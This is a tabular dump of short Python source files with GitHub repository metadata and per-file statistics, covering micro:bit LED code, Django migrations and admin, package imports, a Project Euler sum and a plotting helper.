] | 8 | 2018-09-03T15:12:54.000Z | 2022-03-08T13:30:16.000Z | neopixel/neo_16x16_img/neo16x16_img.py | bsliao0211/microbit-lib | fd767fb44173f317e4640a7af08afdb065770d91 | [
"MIT"
] | 36 | 2018-02-07T03:35:24.000Z | 2022-03-15T15:21:19.000Z | from microbit import *
from neopixel import NeoPixel
class neo16x16_img:
def __init__(self,pin):
self.np=NeoPixel(pin,256)
def clear(self):
self.np.clear()
def show(self,dat,pos=0):
for x in range(16):
for y in range(8):
if ((x+pos)*8)>=len(dat):
... | 33.794643 | 52 | 0.653897 | 430 | 3,785 | 5.737209 | 0.283721 | 0.648561 | 0.632347 | 0.518849 | 0.522092 | 0.501824 | 0.406567 | 0.310499 | 0.297527 | 0.297527 | 0 | 0.572114 | 0.228798 | 3,785 | 111 | 53 | 34.099099 | 0.273039 | 0 | 0 | 0.304762 | 0 | 0 | 0 | 0 | 0 | 0 | 0.541083 | 0 | 0 | 1 | 0.038095 | false | 0 | 0.019048 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d7664d6606be6452da89bc1bbf9ddda941f6b4d5 | 1,048 | py | Python | back/tests/runtimes.py | ubbonolte/linkmaps | 0f077f1d99ea3d1ea8cf672569a80899e1210203 | [
"MIT"
] | null | null | null | back/tests/runtimes.py | ubbonolte/linkmaps | 0f077f1d99ea3d1ea8cf672569a80899e1210203 | [
"MIT"
] | null | null | null | back/tests/runtimes.py | ubbonolte/linkmaps | 0f077f1d99ea3d1ea8cf672569a80899e1210203 | [
"MIT"
] | null | null | null | from graph_service import WikiGraphGenerator
import timeit
def run_wiki_generator():
generator = WikiGraphGenerator()
start = timeit.default_timer()
graph = generator.generate('Cook_(domestic_worker)', depth=1)
stop = timeit.default_timer()
print ("Cook_(domestic_worker), Depth == 1: Runtime = ", ... | 38.814815 | 96 | 0.674618 | 124 | 1,048 | 5.532258 | 0.209677 | 0.151604 | 0.209913 | 0.134111 | 0.833819 | 0.833819 | 0.833819 | 0.827988 | 0.658892 | 0.520408 | 0 | 0.009357 | 0.18416 | 1,048 | 27 | 97 | 38.814815 | 0.792982 | 0 | 0 | 0.380952 | 1 | 0 | 0.274547 | 0.085796 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0 | 0.095238 | 0 | 0.142857 | 0.190476 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d76af9d7c3fc144ed9a656741c2bc080bc06aa0d | 47 | py | Python | prigen/__init__.py | VladimirShitov/prigen | 9d24abd83868c418f14201b72736dc0a68e98b94 | [
"MIT"
] | null | null | null | prigen/__init__.py | VladimirShitov/prigen | 9d24abd83868c418f14201b72736dc0a68e98b94 | [
"MIT"
] | 1 | 2021-03-11T12:45:59.000Z | 2021-03-11T12:45:59.000Z | prigen/__init__.py | VladimirShitov/prigen | 9d24abd83868c418f14201b72736dc0a68e98b94 | [
"MIT"
] | null | null | null | from prigen.generators import PrimersGenerator
| 23.5 | 46 | 0.893617 | 5 | 47 | 8.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 47 | 1 | 47 | 47 | 0.976744 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d77dd87111e0c6f01c351723b456afa8a3053955 | 747 | py | Python | src/easymql/actions.py | vivek-shrikhande/easy-mql | 8cbf6a77aed8230bd92cee5585227ea4a09001b8 | [
"MIT"
] | null | null | null | src/easymql/actions.py | vivek-shrikhande/easy-mql | 8cbf6a77aed8230bd92cee5585227ea4a09001b8 | [
"MIT"
] | null | null | null | src/easymql/actions.py | vivek-shrikhande/easy-mql | 8cbf6a77aed8230bd92cee5585227ea4a09001b8 | [
"MIT"
] | null | null | null | class Action:
@staticmethod
def action(tokens):
return tokens
class ExpressionAction(Action):
@staticmethod
def action(tokens):
return {
'$'
+ ''.join(
[
part.capitalize() if i else part
for i, part in enum... | 22.636364 | 74 | 0.429719 | 60 | 747 | 5.316667 | 0.35 | 0.169279 | 0.197492 | 0.253919 | 0.818182 | 0.818182 | 0.695925 | 0.695925 | 0.695925 | 0.695925 | 0 | 0.009852 | 0.456493 | 747 | 32 | 75 | 23.34375 | 0.775862 | 0 | 0 | 0.571429 | 0 | 0 | 0.005355 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.107143 | false | 0 | 0 | 0.107143 | 0.321429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 6 |
ad0b9f8196ade5887ad082d8c2d90ad7476944ff | 73 | py | Python | ml_deeco/estimators/__init__.py | smartarch/ML-DEECo | f77aa8ffef6a971880dc3ec01f1bd2c03963f9a8 | [
"MIT"
] | null | null | null | ml_deeco/estimators/__init__.py | smartarch/ML-DEECo | f77aa8ffef6a971880dc3ec01f1bd2c03963f9a8 | [
"MIT"
] | null | null | null | ml_deeco/estimators/__init__.py | smartarch/ML-DEECo | f77aa8ffef6a971880dc3ec01f1bd2c03963f9a8 | [
"MIT"
] | null | null | null | from .features import *
from .estimate import *
from .estimator import *
| 18.25 | 24 | 0.753425 | 9 | 73 | 6.111111 | 0.555556 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164384 | 73 | 3 | 25 | 24.333333 | 0.901639 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ad9e663a6b1c76235d7ad34a3ac6d7813a9b6501 | 119 | py | Python | tests/unit/Version.py | Vesuvium/sqlast | 45088dd36de8c76505b2285c1650719b69aafbec | [
"MIT"
] | 4 | 2019-04-05T03:31:46.000Z | 2020-02-27T15:30:07.000Z | tests/unit/Version.py | Vesuvium/sqlast | 45088dd36de8c76505b2285c1650719b69aafbec | [
"MIT"
] | null | null | null | tests/unit/Version.py | Vesuvium/sqlast | 45088dd36de8c76505b2285c1650719b69aafbec | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from sqlast.Version import version
def test_version_version():
assert version == '1.0.0'
| 17 | 34 | 0.663866 | 17 | 119 | 4.529412 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.040816 | 0.176471 | 119 | 6 | 35 | 19.833333 | 0.744898 | 0.176471 | 0 | 0 | 0 | 0 | 0.052083 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a8f96d38756176383fe52b3753565b88bd663411 | 62 | py | Python | collinearity/__init__.py | gianlucamalato/collinearity | ad78f1c4344f7c7cd812717080377317af17fcb2 | [
"MIT"
] | 20 | 2021-06-28T16:56:50.000Z | 2021-12-14T18:27:37.000Z | collinearity/__init__.py | gianlucamalato/collinearity | ad78f1c4344f7c7cd812717080377317af17fcb2 | [
"MIT"
] | null | null | null | collinearity/__init__.py | gianlucamalato/collinearity | ad78f1c4344f7c7cd812717080377317af17fcb2 | [
"MIT"
] | 3 | 2021-06-28T17:00:02.000Z | 2021-12-14T18:28:25.000Z | from collinearity.SelectNonCollinear import SelectNonCollinear | 62 | 62 | 0.935484 | 5 | 62 | 11.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048387 | 62 | 1 | 62 | 62 | 0.983051 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
66fde586f35f9f552d11b6a9786bb92de5be0a08 | 210 | py | Python | dmb/data/transforms/__init__.py | yiranzhong/DenseMatchingBenchmark | a27413126508f4a09f7b5d71512602fde145f09e | [
"MIT"
] | 1 | 2021-01-21T07:13:31.000Z | 2021-01-21T07:13:31.000Z | dmb/data/transforms/__init__.py | yiranzhong/DenseMatchingBenchmark | a27413126508f4a09f7b5d71512602fde145f09e | [
"MIT"
] | null | null | null | dmb/data/transforms/__init__.py | yiranzhong/DenseMatchingBenchmark | a27413126508f4a09f7b5d71512602fde145f09e | [
"MIT"
] | null | null | null | from .transforms import Compose
from .stereo_trans import (
ToTensor, RandomCrop, Normalize, StereoPad, CenterCrop
)
__all__ = ['Compose', 'ToTensor', 'RandomCrop', 'Normalize', 'StereoPad', 'CenterCrop']
| 30 | 87 | 0.738095 | 20 | 210 | 7.5 | 0.6 | 0.24 | 0.36 | 0.48 | 0.613333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128571 | 210 | 6 | 88 | 35 | 0.819672 | 0 | 0 | 0 | 0 | 0 | 0.252381 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0f502f13290214aff2307efc69ced3e1fb1dc50b | 5,633 | py | Python | core/migrations/0012_auto_20191003_1532.py | nirgal/ngw | 0a28e8f12cb342a20ca3456e2a2ab91dd9c898be | [
"BSD-2-Clause"
] | null | null | null | core/migrations/0012_auto_20191003_1532.py | nirgal/ngw | 0a28e8f12cb342a20ca3456e2a2ab91dd9c898be | [
"BSD-2-Clause"
] | null | null | null | core/migrations/0012_auto_20191003_1532.py | nirgal/ngw | 0a28e8f12cb342a20ca3456e2a2ab91dd9c898be | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.23 on 2019-10-03 15:32
from __future__ import unicode_literals
import django.db.models.deletion
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('ngw', '0011_choicecontact... | 34.987578 | 79 | 0.539499 | 485 | 5,633 | 6.080412 | 0.175258 | 0.051543 | 0.085453 | 0.134283 | 0.81214 | 0.783995 | 0.743642 | 0.724313 | 0.597152 | 0.46253 | 0 | 0.00638 | 0.360021 | 5,633 | 160 | 80 | 35.20625 | 0.81165 | 0.012249 | 0 | 0.771242 | 1 | 0 | 0.15285 | 0.026794 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.026144 | 0 | 0.045752 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0f6e669980fedaac04a91892252e1057000652b3 | 228 | py | Python | fish/account/views.py | JoyBoyMaLin/no-fish | 5f8048fbc334af6d149dd86a5b8b14ad4afba0cb | [
"MIT"
] | null | null | null | fish/account/views.py | JoyBoyMaLin/no-fish | 5f8048fbc334af6d149dd86a5b8b14ad4afba0cb | [
"MIT"
] | null | null | null | fish/account/views.py | JoyBoyMaLin/no-fish | 5f8048fbc334af6d149dd86a5b8b14ad4afba0cb | [
"MIT"
] | null | null | null | from django.contrib import admin
from ratelimit.decorators import ratelimit
@ratelimit(key='ip', rate='5/h', block=True)
def extend_admin_login(request, extra_context=None):
return admin.site.login(request, extra_context)
| 28.5 | 52 | 0.789474 | 33 | 228 | 5.333333 | 0.69697 | 0.136364 | 0.193182 | 0.272727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004878 | 0.100877 | 228 | 7 | 53 | 32.571429 | 0.853659 | 0 | 0 | 0 | 0 | 0 | 0.02193 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
7e3fea706fb97f9afcb328081840fc3db9d6f45a | 30 | py | Python | verificac19/service/__init__.py | VC19-SDK/pyverificac19 | a6c5550b3445b147577e9a0cc7f21a8151989870 | [
"MIT"
] | 8 | 2021-12-20T14:57:34.000Z | 2022-01-14T01:24:45.000Z | verificac19/service/__init__.py | VC19-SDK/pyverificac19 | a6c5550b3445b147577e9a0cc7f21a8151989870 | [
"MIT"
] | 21 | 2021-12-20T09:55:57.000Z | 2022-03-07T08:48:37.000Z | verificac19/service/__init__.py | VC19-SDK/pyverificac19 | a6c5550b3445b147577e9a0cc7f21a8151989870 | [
"MIT"
] | 2 | 2022-01-04T21:23:01.000Z | 2022-02-04T10:32:54.000Z | from .service import _service
| 15 | 29 | 0.833333 | 4 | 30 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 30 | 1 | 30 | 30 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0e5142afcfc430c799c9afce864e0c94f271c5b6 | 196 | py | Python | online-event-resources/web-development/django102/presentations/admin.py | aindrila2412/Reactors | 6efd59e53dc9026ae68dcbc814945d12a5a41071 | [
"MIT"
] | 385 | 2019-10-21T14:36:08.000Z | 2022-03-31T16:35:53.000Z | online-event-resources/web-development/django102/presentations/admin.py | aindrila2412/Reactors | 6efd59e53dc9026ae68dcbc814945d12a5a41071 | [
"MIT"
] | 115 | 2019-10-19T02:41:58.000Z | 2022-03-04T23:00:41.000Z | online-event-resources/web-development/django102/presentations/admin.py | aindrila2412/Reactors | 6efd59e53dc9026ae68dcbc814945d12a5a41071 | [
"MIT"
] | 303 | 2019-10-18T07:27:40.000Z | 2022-03-29T12:44:01.000Z | from django.contrib import admin
from . import models
# Register your models here.
admin.site.register(models.Presentation)
admin.site.register(models.Speaker)
admin.site.register(models.Track)
| 21.777778 | 40 | 0.811224 | 27 | 196 | 5.888889 | 0.481481 | 0.169811 | 0.320755 | 0.433962 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091837 | 196 | 8 | 41 | 24.5 | 0.893258 | 0.132653 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0e63d7f59aa0685ad20e3a0e7a10fada13fde183 | 46 | py | Python | src/press_start/pipelines/feature_selection/__init__.py | luizvbo/press-start | 02590c2176a4ae53287fe5a9b5c6a1ecd30bcdb6 | [
"BSD-3-Clause"
] | 1 | 2022-02-02T08:30:29.000Z | 2022-02-02T08:30:29.000Z | src/press_start/pipelines/feature_selection/__init__.py | luizvbo/press-start | 02590c2176a4ae53287fe5a9b5c6a1ecd30bcdb6 | [
"BSD-3-Clause"
] | null | null | null | src/press_start/pipelines/feature_selection/__init__.py | luizvbo/press-start | 02590c2176a4ae53287fe5a9b5c6a1ecd30bcdb6 | [
"BSD-3-Clause"
] | null | null | null | from .pipeline import create_pipeline # NOQA
| 23 | 45 | 0.804348 | 6 | 46 | 6 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152174 | 46 | 1 | 46 | 46 | 0.923077 | 0.086957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0e9e456f095e2315688e0d1cd6e1835a2e55ec1a | 157 | py | Python | app/api_1_0/__init__.py | Zoctan/flask-api-seed | eef9e63415a563e31e256fc7380edb7c6b12a3ab | [
"Apache-2.0"
] | null | null | null | app/api_1_0/__init__.py | Zoctan/flask-api-seed | eef9e63415a563e31e256fc7380edb7c6b12a3ab | [
"Apache-2.0"
] | null | null | null | app/api_1_0/__init__.py | Zoctan/flask-api-seed | eef9e63415a563e31e256fc7380edb7c6b12a3ab | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Blueprint
api = Blueprint('api_1_0', __name__)
from . import authentication, user, error
| 17.444444 | 41 | 0.700637 | 22 | 157 | 4.727273 | 0.818182 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030075 | 0.152866 | 157 | 8 | 42 | 19.625 | 0.75188 | 0.273885 | 0 | 0 | 0 | 0 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
7ee129242ccabb9bd6b87a61196c01e10c37bd0d | 36 | py | Python | doctorbot/hospital_crawler/views/__init__.py | zuxfoucault/DoctorBot_demo | 82e24078da4d2e6caba728b959812401109e014d | [
"MIT"
] | 1 | 2020-09-24T07:26:14.000Z | 2020-09-24T07:26:14.000Z | doctorbot/hospital_crawler/views/__init__.py | lintzuhsiang/Doctorbot | 6be98bbf380d14bb789d30a137ded3b51b3f31fd | [
"MIT"
] | null | null | null | doctorbot/hospital_crawler/views/__init__.py | lintzuhsiang/Doctorbot | 6be98bbf380d14bb789d30a137ded3b51b3f31fd | [
"MIT"
] | null | null | null | from .movie_view import MovieDetail
| 18 | 35 | 0.861111 | 5 | 36 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 36 | 1 | 36 | 36 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
70e643f2c110657bc05fe9afce7b576fa78ac4f1 | 61 | py | Python | digit/data_load/__init__.py | ResMarkus/SHOT | 02bef3ec376ea360f03933bd9f6d6b496815fb48 | [
"MIT"
] | null | null | null | digit/data_load/__init__.py | ResMarkus/SHOT | 02bef3ec376ea360f03933bd9f6d6b496815fb48 | [
"MIT"
] | null | null | null | digit/data_load/__init__.py | ResMarkus/SHOT | 02bef3ec376ea360f03933bd9f6d6b496815fb48 | [
"MIT"
] | null | null | null | from .mnist import *
from .svhn import *
from .usps import *
| 15.25 | 20 | 0.704918 | 9 | 61 | 4.777778 | 0.555556 | 0.465116 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.196721 | 61 | 3 | 21 | 20.333333 | 0.877551 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
cb12539a3c59878c87d69ff9cbb6ed45cd542f1c | 243 | py | Python | data/lib/customOS/__init__.py | Synell/PERT-Maker | 8eac93eaa788ee0a201437e5bd30d55133d7cd38 | [
"MIT"
] | 2 | 2022-01-20T06:16:00.000Z | 2022-01-20T07:30:26.000Z | data/lib/customOS/__init__.py | Synell/PERT-Maker | 8eac93eaa788ee0a201437e5bd30d55133d7cd38 | [
"MIT"
] | null | null | null | data/lib/customOS/__init__.py | Synell/PERT-Maker | 8eac93eaa788ee0a201437e5bd30d55133d7cd38 | [
"MIT"
] | null | null | null | #----------------------------------------------------------------------
# Libraries
from .get import *
from .encoding import *
from .stringExtension import *
#----------------------------------------------------------------------
| 30.375 | 73 | 0.26749 | 11 | 243 | 6 | 0.636364 | 0.30303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115226 | 243 | 7 | 74 | 34.714286 | 0.302326 | 0.617284 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 1 | null | null | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
cb1e0a9624230e75482ae64be567028b3ad23a41 | 327 | py | Python | tests/test_agents_common_next_player.py | InesVogel/Connect4 | 9528115515fb33d107ebc26d4141a1d3effdca5e | [
"MIT"
] | null | null | null | tests/test_agents_common_next_player.py | InesVogel/Connect4 | 9528115515fb33d107ebc26d4141a1d3effdca5e | [
"MIT"
] | null | null | null | tests/test_agents_common_next_player.py | InesVogel/Connect4 | 9528115515fb33d107ebc26d4141a1d3effdca5e | [
"MIT"
] | null | null | null | from agents.common import PLAYER1, PLAYER2, NO_PLAYER, next_player
def test_next_player_expectedPLAYER1():
assert next_player(PLAYER2) == PLAYER1
def test_next_player_expectedPLAYER2():
assert next_player(PLAYER1) == PLAYER2
def test_next_player_expectedNOPLAYER():
assert next_player(NO_PLAYER) == NO_... | 23.357143 | 66 | 0.792049 | 42 | 327 | 5.785714 | 0.357143 | 0.288066 | 0.135802 | 0.209877 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028169 | 0.131498 | 327 | 13 | 67 | 25.153846 | 0.827465 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.428571 | 1 | 0.428571 | true | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
cb8770c793e24d90bf0fb8e3e253a244574d3a78 | 6,272 | py | Python | euler/13:Large_sum.py | Alexdelia/Puzzle_Solving | 620e07508cd36dba7b806040c36360b87eb4637e | [
"CC0-1.0"
] | null | null | null | euler/13:Large_sum.py | Alexdelia/Puzzle_Solving | 620e07508cd36dba7b806040c36360b87eb4637e | [
"CC0-1.0"
] | null | null | null | euler/13:Large_sum.py | Alexdelia/Puzzle_Solving | 620e07508cd36dba7b806040c36360b87eb4637e | [
"CC0-1.0"
] | null | null | null | # **************************************************************************** #
# #
# ::: :::::::: #
# 13:Large_sum.py :+: :+: :+: ... | 52.266667 | 80 | 0.845344 | 181 | 6,272 | 29.287293 | 0.872928 | 0.005659 | 0.003018 | 0.003773 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.900661 | 0.107621 | 6,272 | 119 | 81 | 52.705882 | 0.046453 | 0.161352 | 0 | 0 | 0 | 0 | 0.978891 | 0.959509 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.009804 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
cbac952b1ce9f7dc2df3b3ff6e80160492f86c5c | 82 | py | Python | hrv/sampledata/__init__.py | rhenanbartels/hrv | 3f813f6727ff693daccf2fd1a939a30a966f56e1 | [
"BSD-3-Clause"
] | 157 | 2016-10-21T00:41:25.000Z | 2022-03-29T01:53:30.000Z | hrv/sampledata/__init__.py | nickzhuang0613/hrv | 190c923250884b1f5632e38658bd8df7d9d5352e | [
"BSD-3-Clause"
] | 23 | 2017-03-26T19:45:21.000Z | 2021-12-16T06:54:08.000Z | hrv/sampledata/__init__.py | nickzhuang0613/hrv | 190c923250884b1f5632e38658bd8df7d9d5352e | [
"BSD-3-Clause"
] | 50 | 2016-10-21T00:23:35.000Z | 2022-03-08T12:01:57.000Z | from hrv.sampledata._load import load_rest_rri, load_exercise_rri, load_noisy_rri
| 41 | 81 | 0.878049 | 14 | 82 | 4.642857 | 0.642857 | 0.215385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073171 | 82 | 1 | 82 | 82 | 0.855263 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
cbb297179d0f24e5414590bc1d5c6cbbdcb5406e | 8,355 | py | Python | src/plot/plot-bb/plot4_centroids.py | bcrafton/speed_read | 3e9c0c873e49e4948a216aae14ec0d4654d1a62c | [
"MIT"
] | null | null | null | src/plot/plot-bb/plot4_centroids.py | bcrafton/speed_read | 3e9c0c873e49e4948a216aae14ec0d4654d1a62c | [
"MIT"
] | null | null | null | src/plot/plot-bb/plot4_centroids.py | bcrafton/speed_read | 3e9c0c873e49e4948a216aae14ec0d4654d1a62c | [
"MIT"
] | 2 | 2020-11-08T12:51:23.000Z | 2021-12-02T23:16:48.000Z |
import numpy as np
np.set_printoptions(precision=2, suppress=True)
import matplotlib.pyplot as plt
####################
def merge_dicts(list_of_dicts):
results = {}
for d in list_of_dicts:
for key in d.keys():
if key in results.keys():
results[key].append(d[key])
